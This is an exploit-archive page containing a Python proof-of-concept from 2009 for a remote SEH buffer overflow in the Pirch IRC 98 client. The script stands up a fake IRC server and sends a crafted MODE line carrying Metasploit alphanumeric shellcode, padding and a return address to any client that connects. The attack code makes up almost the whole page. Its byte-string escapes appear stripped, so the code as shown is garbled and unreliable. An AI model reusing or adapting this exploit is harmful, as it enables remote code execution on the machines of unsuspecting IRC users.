[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)
# Published : 2009-07-12
# Author : His0k4
# Previous Title : Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit
# Next Title : Citrix XenCenterWeb (XSS/SQL/RCE) Multiple Remote Vulnerabilities
#!/usr/bin/python
#[*] Usage : python pirch.py
# _ _ _ __ _ _ _
#| || | (_) ___ / | |__ | | |
#| __ | | | (_-< | () | | / / |_ _|
#|_||_| |_| /__/ __/ |__ |_|
#
#[*] Bug : Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)
#[*] Tested on : Xp sp3 (EN)(VB)
#[*] Ref : Bid 5079
#[*] Exploited by : His0k4
#[*] Greetings : All friends (DZ)
from socket import *
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
"x42x30x42x50x42x30x4bx38x45x34x4ex43x4bx58x4ex47"
"x45x50x4ax37x41x50x4fx4ex4bx58x4fx34x4ax41x4bx58"
"x4fx55x42x52x41x50x4bx4ex49x44x4bx38x46x33x4bx48"
"x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x58x42x4c"
"x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x52x46x50x45x47x45x4ex4bx48"
"x4fx55x46x52x41x30x4bx4ex48x56x4bx48x4ex30x4bx34"
"x4bx48x4fx35x4ex51x41x50x4bx4ex4bx58x4ex51x4bx58"
"x41x50x4bx4ex49x48x4ex55x46x42x46x50x43x4cx41x43"
"x42x4cx46x36x4bx38x42x54x42x33x45x38x42x4cx4ax47"
"x4ex30x4bx48x42x34x4ex50x4bx58x42x57x4ex51x4dx4a"
"x4bx48x4ax36x4ax50x4bx4ex49x50x4bx48x42x38x42x4b"
"x42x30x42x50x42x30x4bx58x4ax56x4ex43x4fx35x41x33"
"x48x4fx42x46x48x55x49x38x4ax4fx43x48x42x4cx4bx57"
"x42x45x4ax46x42x4fx4cx58x46x30x4fx35x4ax46x4ax59"
"x50x4fx4cx58x50x50x47x45x4fx4fx47x4ex43x36x41x56"
"x4ex36x43x56x42x30x5a")
payload = "DZ" #Trick track
payload += shellcode
payload += "x41"*(1035-len(shellcode))
payload += "xE8xF0xFBxFFxFF" # back again
payload += "x42"*5
payload += "xEBxF4xFFxFF" # back
payload += "x9Ax2Bx40x0A" # lucky x0A=>x00 ;) univ p/p/r
head = ":irc.localhost 001 attacker :Welcome to the Internet Relay Chat network, attacker!pirch@0.0.0.0rn"
head += ":attacker_test!pirch@0.0.0.gl08= MODE "+payload+" :-irn"
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 6667))
s.listen(1)
print "[*] Listening on [IRC] 6667"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(head)
raw_input("[*] Payload sended!nPress key to exit")
c.close()
s.close()
# www.Syue.com [2009-07-12]